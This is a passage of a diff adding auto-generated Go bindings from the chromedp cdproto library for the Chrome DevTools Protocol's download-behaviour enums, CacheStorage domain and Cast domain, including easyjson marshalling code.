switch DownloadProgressState(in.String()) {
|
||||
case DownloadProgressStateInProgress:
|
||||
*t = DownloadProgressStateInProgress
|
||||
case DownloadProgressStateCompleted:
|
||||
*t = DownloadProgressStateCompleted
|
||||
case DownloadProgressStateCanceled:
|
||||
*t = DownloadProgressStateCanceled
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown DownloadProgressState value"))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *DownloadProgressState) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// SetDownloadBehaviorBehavior whether to allow all or deny all download
|
||||
// requests, or use default Chrome behavior if available (otherwise deny).
|
||||
// |allowAndName| allows download and names files according to their dowmload
|
||||
// guids.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#method-setDownloadBehavior
|
||||
type SetDownloadBehaviorBehavior string
|
||||
|
||||
// String returns the SetDownloadBehaviorBehavior as string value.
|
||||
func (t SetDownloadBehaviorBehavior) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// SetDownloadBehaviorBehavior values.
|
||||
const (
|
||||
SetDownloadBehaviorBehaviorDeny SetDownloadBehaviorBehavior = "deny"
|
||||
SetDownloadBehaviorBehaviorAllow SetDownloadBehaviorBehavior = "allow"
|
||||
SetDownloadBehaviorBehaviorAllowAndName SetDownloadBehaviorBehavior = "allowAndName"
|
||||
SetDownloadBehaviorBehaviorDefault SetDownloadBehaviorBehavior = "default"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t SetDownloadBehaviorBehavior) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t SetDownloadBehaviorBehavior) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *SetDownloadBehaviorBehavior) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch SetDownloadBehaviorBehavior(in.String()) {
|
||||
case SetDownloadBehaviorBehaviorDeny:
|
||||
*t = SetDownloadBehaviorBehaviorDeny
|
||||
case SetDownloadBehaviorBehaviorAllow:
|
||||
*t = SetDownloadBehaviorBehaviorAllow
|
||||
case SetDownloadBehaviorBehaviorAllowAndName:
|
||||
*t = SetDownloadBehaviorBehaviorAllowAndName
|
||||
case SetDownloadBehaviorBehaviorDefault:
|
||||
*t = SetDownloadBehaviorBehaviorDefault
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown SetDownloadBehaviorBehavior value"))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *SetDownloadBehaviorBehavior) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
+218
@@ -0,0 +1,218 @@
|
||||
// Package cachestorage provides the Chrome DevTools Protocol
|
||||
// commands, types, and events for the CacheStorage domain.
|
||||
//
|
||||
// Generated by the cdproto-gen command.
|
||||
package cachestorage
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
)
|
||||
|
||||
// DeleteCacheParams deletes a cache.
|
||||
type DeleteCacheParams struct {
|
||||
CacheID CacheID `json:"cacheId"` // Id of cache for deletion.
|
||||
}
|
||||
|
||||
// DeleteCache deletes a cache.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CacheStorage#method-deleteCache
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// cacheID - Id of cache for deletion.
|
||||
func DeleteCache(cacheID CacheID) *DeleteCacheParams {
|
||||
return &DeleteCacheParams{
|
||||
CacheID: cacheID,
|
||||
}
|
||||
}
|
||||
|
||||
// Do executes CacheStorage.deleteCache against the provided context.
|
||||
func (p *DeleteCacheParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandDeleteCache, p, nil)
|
||||
}
|
||||
|
||||
// DeleteEntryParams deletes a cache entry.
|
||||
type DeleteEntryParams struct {
|
||||
CacheID CacheID `json:"cacheId"` // Id of cache where the entry will be deleted.
|
||||
Request string `json:"request"` // URL spec of the request.
|
||||
}
|
||||
|
||||
// DeleteEntry deletes a cache entry.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CacheStorage#method-deleteEntry
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// cacheID - Id of cache where the entry will be deleted.
|
||||
// request - URL spec of the request.
|
||||
func DeleteEntry(cacheID CacheID, request string) *DeleteEntryParams {
|
||||
return &DeleteEntryParams{
|
||||
CacheID: cacheID,
|
||||
Request: request,
|
||||
}
|
||||
}
|
||||
|
||||
// Do executes CacheStorage.deleteEntry against the provided context.
|
||||
func (p *DeleteEntryParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandDeleteEntry, p, nil)
|
||||
}
|
||||
|
||||
// RequestCacheNamesParams requests cache names.
|
||||
type RequestCacheNamesParams struct {
|
||||
SecurityOrigin string `json:"securityOrigin"` // Security origin.
|
||||
}
|
||||
|
||||
// RequestCacheNames requests cache names.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CacheStorage#method-requestCacheNames
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// securityOrigin - Security origin.
|
||||
func RequestCacheNames(securityOrigin string) *RequestCacheNamesParams {
|
||||
return &RequestCacheNamesParams{
|
||||
SecurityOrigin: securityOrigin,
|
||||
}
|
||||
}
|
||||
|
||||
// RequestCacheNamesReturns return values.
|
||||
type RequestCacheNamesReturns struct {
|
||||
Caches []*Cache `json:"caches,omitempty"` // Caches for the security origin.
|
||||
}
|
||||
|
||||
// Do executes CacheStorage.requestCacheNames against the provided context.
|
||||
//
|
||||
// returns:
|
||||
//
|
||||
// caches - Caches for the security origin.
|
||||
func (p *RequestCacheNamesParams) Do(ctx context.Context) (caches []*Cache, err error) {
|
||||
// execute
|
||||
var res RequestCacheNamesReturns
|
||||
err = cdp.Execute(ctx, CommandRequestCacheNames, p, &res)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return res.Caches, nil
|
||||
}
|
||||
|
||||
// RequestCachedResponseParams fetches cache entry.
|
||||
type RequestCachedResponseParams struct {
|
||||
CacheID CacheID `json:"cacheId"` // Id of cache that contains the entry.
|
||||
RequestURL string `json:"requestURL"` // URL spec of the request.
|
||||
RequestHeaders []*Header `json:"requestHeaders"` // headers of the request.
|
||||
}
|
||||
|
||||
// RequestCachedResponse fetches cache entry.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CacheStorage#method-requestCachedResponse
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// cacheID - Id of cache that contains the entry.
|
||||
// requestURL - URL spec of the request.
|
||||
// requestHeaders - headers of the request.
|
||||
func RequestCachedResponse(cacheID CacheID, requestURL string, requestHeaders []*Header) *RequestCachedResponseParams {
|
||||
return &RequestCachedResponseParams{
|
||||
CacheID: cacheID,
|
||||
RequestURL: requestURL,
|
||||
RequestHeaders: requestHeaders,
|
||||
}
|
||||
}
|
||||
|
||||
// RequestCachedResponseReturns return values.
|
||||
type RequestCachedResponseReturns struct {
|
||||
Response *CachedResponse `json:"response,omitempty"` // Response read from the cache.
|
||||
}
|
||||
|
||||
// Do executes CacheStorage.requestCachedResponse against the provided context.
|
||||
//
|
||||
// returns:
|
||||
//
|
||||
// response - Response read from the cache.
|
||||
func (p *RequestCachedResponseParams) Do(ctx context.Context) (response *CachedResponse, err error) {
|
||||
// execute
|
||||
var res RequestCachedResponseReturns
|
||||
err = cdp.Execute(ctx, CommandRequestCachedResponse, p, &res)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return res.Response, nil
|
||||
}
|
||||
|
||||
// RequestEntriesParams requests data from cache.
|
||||
type RequestEntriesParams struct {
|
||||
CacheID CacheID `json:"cacheId"` // ID of cache to get entries from.
|
||||
SkipCount int64 `json:"skipCount,omitempty"` // Number of records to skip.
|
||||
PageSize int64 `json:"pageSize,omitempty"` // Number of records to fetch.
|
||||
PathFilter string `json:"pathFilter,omitempty"` // If present, only return the entries containing this substring in the path
|
||||
}
|
||||
|
||||
// RequestEntries requests data from cache.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CacheStorage#method-requestEntries
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// cacheID - ID of cache to get entries from.
|
||||
func RequestEntries(cacheID CacheID) *RequestEntriesParams {
|
||||
return &RequestEntriesParams{
|
||||
CacheID: cacheID,
|
||||
}
|
||||
}
|
||||
|
||||
// WithSkipCount number of records to skip.
|
||||
func (p RequestEntriesParams) WithSkipCount(skipCount int64) *RequestEntriesParams {
|
||||
p.SkipCount = skipCount
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithPageSize number of records to fetch.
|
||||
func (p RequestEntriesParams) WithPageSize(pageSize int64) *RequestEntriesParams {
|
||||
p.PageSize = pageSize
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithPathFilter if present, only return the entries containing this
|
||||
// substring in the path.
|
||||
func (p RequestEntriesParams) WithPathFilter(pathFilter string) *RequestEntriesParams {
|
||||
p.PathFilter = pathFilter
|
||||
return &p
|
||||
}
|
||||
|
||||
// RequestEntriesReturns return values.
|
||||
type RequestEntriesReturns struct {
|
||||
CacheDataEntries []*DataEntry `json:"cacheDataEntries,omitempty"` // Array of object store data entries.
|
||||
ReturnCount float64 `json:"returnCount,omitempty"` // Count of returned entries from this storage. If pathFilter is empty, it is the count of all entries from this storage.
|
||||
}
|
||||
|
||||
// Do executes CacheStorage.requestEntries against the provided context.
|
||||
//
|
||||
// returns:
|
||||
//
|
||||
// cacheDataEntries - Array of object store data entries.
|
||||
// returnCount - Count of returned entries from this storage. If pathFilter is empty, it is the count of all entries from this storage.
|
||||
func (p *RequestEntriesParams) Do(ctx context.Context) (cacheDataEntries []*DataEntry, returnCount float64, err error) {
|
||||
// execute
|
||||
var res RequestEntriesReturns
|
||||
err = cdp.Execute(ctx, CommandRequestEntries, p, &res)
|
||||
if err != nil {
|
||||
return nil, 0, err
|
||||
}
|
||||
|
||||
return res.CacheDataEntries, res.ReturnCount, nil
|
||||
}
|
||||
|
||||
// Command names.
|
||||
const (
|
||||
CommandDeleteCache = "CacheStorage.deleteCache"
|
||||
CommandDeleteEntry = "CacheStorage.deleteEntry"
|
||||
CommandRequestCacheNames = "CacheStorage.requestCacheNames"
|
||||
CommandRequestCachedResponse = "CacheStorage.requestCachedResponse"
|
||||
CommandRequestEntries = "CacheStorage.requestEntries"
|
||||
)
|
||||
+1162
File diff suppressed because it is too large.
Load diff
+115
@@ -0,0 +1,115 @@
|
||||
package cachestorage
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"errors"
|
||||
|
||||
"github.com/mailru/easyjson"
|
||||
"github.com/mailru/easyjson/jlexer"
|
||||
"github.com/mailru/easyjson/jwriter"
|
||||
)
|
||||
|
||||
// CacheID unique identifier of the Cache object.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CacheStorage#type-CacheId
|
||||
type CacheID string
|
||||
|
||||
// String returns the CacheID as string value.
|
||||
func (t CacheID) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// CachedResponseType type of HTTP response cached.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CacheStorage#type-CachedResponseType
|
||||
type CachedResponseType string
|
||||
|
||||
// String returns the CachedResponseType as string value.
|
||||
func (t CachedResponseType) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// CachedResponseType values.
|
||||
const (
|
||||
CachedResponseTypeBasic CachedResponseType = "basic"
|
||||
CachedResponseTypeCors CachedResponseType = "cors"
|
||||
CachedResponseTypeDefault CachedResponseType = "default"
|
||||
CachedResponseTypeError CachedResponseType = "error"
|
||||
CachedResponseTypeOpaqueResponse CachedResponseType = "opaqueResponse"
|
||||
CachedResponseTypeOpaqueRedirect CachedResponseType = "opaqueRedirect"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t CachedResponseType) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t CachedResponseType) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *CachedResponseType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch CachedResponseType(in.String()) {
|
||||
case CachedResponseTypeBasic:
|
||||
*t = CachedResponseTypeBasic
|
||||
case CachedResponseTypeCors:
|
||||
*t = CachedResponseTypeCors
|
||||
case CachedResponseTypeDefault:
|
||||
*t = CachedResponseTypeDefault
|
||||
case CachedResponseTypeError:
|
||||
*t = CachedResponseTypeError
|
||||
case CachedResponseTypeOpaqueResponse:
|
||||
*t = CachedResponseTypeOpaqueResponse
|
||||
case CachedResponseTypeOpaqueRedirect:
|
||||
*t = CachedResponseTypeOpaqueRedirect
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown CachedResponseType value"))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *CachedResponseType) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// DataEntry data entry.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CacheStorage#type-DataEntry
|
||||
type DataEntry struct {
|
||||
RequestURL string `json:"requestURL"` // Request URL.
|
||||
RequestMethod string `json:"requestMethod"` // Request method.
|
||||
RequestHeaders []*Header `json:"requestHeaders"` // Request headers
|
||||
ResponseTime float64 `json:"responseTime"` // Number of seconds since epoch.
|
||||
ResponseStatus int64 `json:"responseStatus"` // HTTP response status code.
|
||||
ResponseStatusText string `json:"responseStatusText"` // HTTP response status text.
|
||||
ResponseType CachedResponseType `json:"responseType"` // HTTP response type
|
||||
ResponseHeaders []*Header `json:"responseHeaders"` // Response headers
|
||||
}
|
||||
|
||||
// Cache cache identifier.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CacheStorage#type-Cache
|
||||
type Cache struct {
|
||||
CacheID CacheID `json:"cacheId"` // An opaque unique id of the cache.
|
||||
SecurityOrigin string `json:"securityOrigin"` // Security origin of the cache.
|
||||
CacheName string `json:"cacheName"` // The name of the cache.
|
||||
}
|
||||
|
||||
// Header [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CacheStorage#type-Header
|
||||
type Header struct {
|
||||
Name string `json:"name"`
|
||||
Value string `json:"value"`
|
||||
}
|
||||
|
||||
// CachedResponse cached response.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CacheStorage#type-CachedResponse
|
||||
type CachedResponse struct {
|
||||
Body string `json:"body"` // Entry content, base64-encoded.
|
||||
}
|
||||
+169
@@ -0,0 +1,169 @@
|
||||
// Package cast provides the Chrome DevTools Protocol
|
||||
// commands, types, and events for the Cast domain.
|
||||
//
|
||||
// A domain for interacting with Cast, Presentation API, and Remote Playback
|
||||
// API functionalities.
|
||||
//
|
||||
// Generated by the cdproto-gen command.
|
||||
package cast
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
)
|
||||
|
||||
// EnableParams starts observing for sinks that can be used for tab
|
||||
// mirroring, and if set, sinks compatible with |presentationUrl| as well. When
|
||||
// sinks are found, a |sinksUpdated| event is fired. Also starts observing for
|
||||
// issue messages. When an issue is added or removed, an |issueUpdated| event is
|
||||
// fired.
|
||||
type EnableParams struct {
|
||||
PresentationURL string `json:"presentationUrl,omitempty"`
|
||||
}
|
||||
|
||||
// Enable starts observing for sinks that can be used for tab mirroring, and
|
||||
// if set, sinks compatible with |presentationUrl| as well. When sinks are
|
||||
// found, a |sinksUpdated| event is fired. Also starts observing for issue
|
||||
// messages. When an issue is added or removed, an |issueUpdated| event is
|
||||
// fired.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Cast#method-enable
|
||||
//
|
||||
// parameters:
|
||||
func Enable() *EnableParams {
|
||||
return &EnableParams{}
|
||||
}
|
||||
|
||||
// WithPresentationURL [no description].
|
||||
func (p EnableParams) WithPresentationURL(presentationURL string) *EnableParams {
|
||||
p.PresentationURL = presentationURL
|
||||
return &p
|
||||
}
|
||||
|
||||
// Do executes Cast.enable against the provided context.
|
||||
func (p *EnableParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandEnable, p, nil)
|
||||
}
|
||||
|
||||
// DisableParams stops observing for sinks and issues.
|
||||
type DisableParams struct{}
|
||||
|
||||
// Disable stops observing for sinks and issues.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Cast#method-disable
|
||||
func Disable() *DisableParams {
|
||||
return &DisableParams{}
|
||||
}
|
||||
|
||||
// Do executes Cast.disable against the provided context.
|
||||
func (p *DisableParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandDisable, nil, nil)
|
||||
}
|
||||
|
||||
// SetSinkToUseParams sets a sink to be used when the web page requests the
|
||||
// browser to choose a sink via Presentation API, Remote Playback API, or Cast
|
||||
// SDK.
|
||||
type SetSinkToUseParams struct {
|
||||
SinkName string `json:"sinkName"`
|
||||
}
|
||||
|
||||
// SetSinkToUse sets a sink to be used when the web page requests the browser
|
||||
// to choose a sink via Presentation API, Remote Playback API, or Cast SDK.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Cast#method-setSinkToUse
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// sinkName
|
||||
func SetSinkToUse(sinkName string) *SetSinkToUseParams {
|
||||
return &SetSinkToUseParams{
|
||||
SinkName: sinkName,
|
||||
}
|
||||
}
|
||||
|
||||
// Do executes Cast.setSinkToUse against the provided context.
|
||||
func (p *SetSinkToUseParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandSetSinkToUse, p, nil)
|
||||
}
|
||||
|
||||
// StartDesktopMirroringParams starts mirroring the desktop to the sink.
|
||||
type StartDesktopMirroringParams struct {
|
||||
SinkName string `json:"sinkName"`
|
||||
}
|
||||
|
||||
// StartDesktopMirroring starts mirroring the desktop to the sink.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Cast#method-startDesktopMirroring
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// sinkName
|
||||
func StartDesktopMirroring(sinkName string) *StartDesktopMirroringParams {
|
||||
return &StartDesktopMirroringParams{
|
||||
SinkName: sinkName,
|
||||
}
|
||||
}
|
||||
|
||||
// Do executes Cast.startDesktopMirroring against the provided context.
|
||||
func (p *StartDesktopMirroringParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandStartDesktopMirroring, p, nil)
|
||||
}
|
||||
|
||||
// StartTabMirroringParams starts mirroring the tab to the sink.
|
||||
type StartTabMirroringParams struct {
|
||||
SinkName string `json:"sinkName"`
|
||||
}
|
||||
|
||||
// StartTabMirroring starts mirroring the tab to the sink.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Cast#method-startTabMirroring
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// sinkName
|
||||
func StartTabMirroring(sinkName string) *StartTabMirroringParams {
|
||||
return &StartTabMirroringParams{
|
||||
SinkName: sinkName,
|
||||
}
|
||||
}
|
||||
|
||||
// Do executes Cast.startTabMirroring against the provided context.
|
||||
func (p *StartTabMirroringParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandStartTabMirroring, p, nil)
|
||||
}
|
||||
|
||||
// StopCastingParams stops the active Cast session on the sink.
|
||||
type StopCastingParams struct {
|
||||
SinkName string `json:"sinkName"`
|
||||
}
|
||||
|
||||
// StopCasting stops the active Cast session on the sink.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Cast#method-stopCasting
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// sinkName
|
||||
func StopCasting(sinkName string) *StopCastingParams {
|
||||
return &StopCastingParams{
|
||||
SinkName: sinkName,
|
||||
}
|
||||
}
|
||||
|
||||
// Do executes Cast.stopCasting against the provided context.
|
||||
func (p *StopCastingParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandStopCasting, p, nil)
|
||||
}
|
||||
|
||||
// Command names.
|
||||
const (
|
||||
CommandEnable = "Cast.enable"
|
||||
CommandDisable = "Cast.disable"
|
||||
CommandSetSinkToUse = "Cast.setSinkToUse"
|
||||
CommandStartDesktopMirroring = "Cast.startDesktopMirroring"
|
||||
CommandStartTabMirroring = "Cast.startTabMirroring"
|
||||
CommandStopCasting = "Cast.stopCasting"
|
||||
)
|
||||
+665
@@ -0,0 +1,665 @@
|
||||
// Code generated by easyjson for marshaling/unmarshaling. DO NOT EDIT.
|
||||
|
||||
package cast
|
||||
|
||||
import (
|
||||
json "encoding/json"
|
||||
easyjson "github.com/mailru/easyjson"
|
||||
jlexer "github.com/mailru/easyjson/jlexer"
|
||||
jwriter "github.com/mailru/easyjson/jwriter"
|
||||
)
|
||||
|
||||
// suppress unused package warning
|
||||
var (
|
||||
_ *json.RawMessage
|
||||
_ *jlexer.Lexer
|
||||
_ *jwriter.Writer
|
||||
_ easyjson.Marshaler
|
||||
)
|
||||
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast(in *jlexer.Lexer, out *StopCastingParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "sinkName":
|
||||
out.SinkName = string(in.String())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast(out *jwriter.Writer, in StopCastingParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"sinkName\":"
|
||||
out.RawString(prefix[1:])
|
||||
out.String(string(in.SinkName))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v StopCastingParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v StopCastingParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *StopCastingParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *StopCastingParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast1(in *jlexer.Lexer, out *StartTabMirroringParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "sinkName":
|
||||
out.SinkName = string(in.String())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast1(out *jwriter.Writer, in StartTabMirroringParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"sinkName\":"
|
||||
out.RawString(prefix[1:])
|
||||
out.String(string(in.SinkName))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v StartTabMirroringParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast1(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v StartTabMirroringParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast1(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *StartTabMirroringParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast1(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *StartTabMirroringParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast1(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast2(in *jlexer.Lexer, out *StartDesktopMirroringParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "sinkName":
|
||||
out.SinkName = string(in.String())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast2(out *jwriter.Writer, in StartDesktopMirroringParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"sinkName\":"
|
||||
out.RawString(prefix[1:])
|
||||
out.String(string(in.SinkName))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v StartDesktopMirroringParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast2(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v StartDesktopMirroringParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast2(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *StartDesktopMirroringParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast2(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *StartDesktopMirroringParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast2(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast3(in *jlexer.Lexer, out *Sink) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
